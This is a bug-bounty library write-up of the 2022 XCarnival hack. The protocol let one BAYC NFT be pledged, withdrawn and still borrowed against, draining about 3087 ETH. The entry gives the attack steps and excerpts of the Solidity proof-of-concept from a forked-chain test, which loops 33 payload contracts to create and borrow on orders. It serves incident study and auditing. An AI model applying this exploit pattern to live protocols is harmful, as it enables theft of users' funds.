# XCarnival: NFT pledge reuse enables infinite loans

XCarnival's pledgeAndBorrow allowed reusing one BAYC NFT across many orders, letting attacker borrow 36 ETH per fake order and drain 3087 ETH.

- Payout: Real-world hack
- Severity: critical
- Program: XCarnival
- Analysis by: DeFiHackLabs
- Disclosed: 2022-06-26
- Write-up quality: 8/10
- Original: https://github.com/SunWeb3Sec/DeFiHackLabs/blob/main/src/test/2022-06/XCarnival_exp.sol
- Library page: http://bugbountylibrary.com/r/dhl%3A20220626-xcarnival
- Tags: area:web3 domain:web3 impact:funds-loss kind:incident platform:defihacklabs sev:critical tech:evm tech:solidity vuln:access-control vuln:business-logic

**Target:** XNFT.sol pledgeAndBorrow / withdrawNFT and XToken.borrow
**Root cause:** pledgeAndBorrow did not verify that the NFT was still pledged after withdrawNFT, and orderId counter was not tied to actual collateral, allowing the same NFT to back multiple borrow orders.
**Steps:**
1. Attacker obtains BAYC#5110 and approves XNFT.
2. Deploy 33 payload contracts, each receiving BAYC#5110.
3. Each payload calls `XNFT.pledgeAndBorrow(address(BAYC), 5110, 721, address(doNothing), 0)` to create a pledge order with zero borrow.
4. Each payload calls `XNFT.pledgeAndBorrow(address(BAYC), 5110, 721, address(doNothing), 0)`, reads `orderId = XNFT.counter()`, calls `XNFT.withdrawNFT(orderId)` to retrieve the NFT, then transfers it back to the main attack contract.
5. After all 33 orders are created, each payload's dumpETH calls `XToken.borrow(orderId, payable(address(this)), 36 ether)` to borrow 36 ETH against the already-withdrawn NFT.
6. Payloads transfer borrowed ETH to attacker.
**Exploitation:** Attacker used one BAYC NFT to create 33 pledge orders, withdrew the NFT after each pledge, then borrowed 36 ETH per order from XToken, draining ~3087 ETH total.
**Escalation:** Repeated the pledge/withdraw/borrow cycle 33 times with the same NFT to amplify the borrowed amount.
**Insight:** When a protocol separates pledge creation from borrowing, check whether the collateral can be withdrawn before the borrow is executed, and whether the order ID is bound to the actual collateral state.

## Proof of concept (copied exactly from the original report)

**makePledge reuses NFT to create order then withdraw**

```
function makePledge() public {
        BAYC.setApprovalForAll(address(XNFT), true);

        // Attacker was call `pledgeAndBorrow()`, But `pledge()` also vulnerable.
        XNFT.pledgeAndBorrow(address(BAYC), 5110, 721, address(doNothing), 0);

        orderId = XNFT.counter();
        assert(orderId >= 11); // Attacker start by orderId:11
        XNFT.withdrawNFT(orderId);

        BAYC.transferFrom(address(this), msg.sender, 5110);
    }
```

**dumpETH borrows against reused orderId**

```
function dumpETH() public {
        XToken.borrow(orderId, payable(address(this)), 36 ether);
        payable(msg.sender).transfer(address(this).balance);
    }
```

**testExploit loops 33 payloads reusing BAYC#5110**

```
for (uint8 i = 0; i < payloads.length; ++i) {
            payloadContract payload = new payloadContract();
            cheat.deal(address(payload), 0); // Set balance 0 ETH to avoid conflict on forknet
            payloads[i] = payable(address(payload));

            BAYC.transferFrom(address(this), address(payloads[i]), 5110);
            require(BAYC.ownerOf(5110) == payloads[i], "BAYC#5110 Transfer Failed");

            payload.makePledge();
        }
```

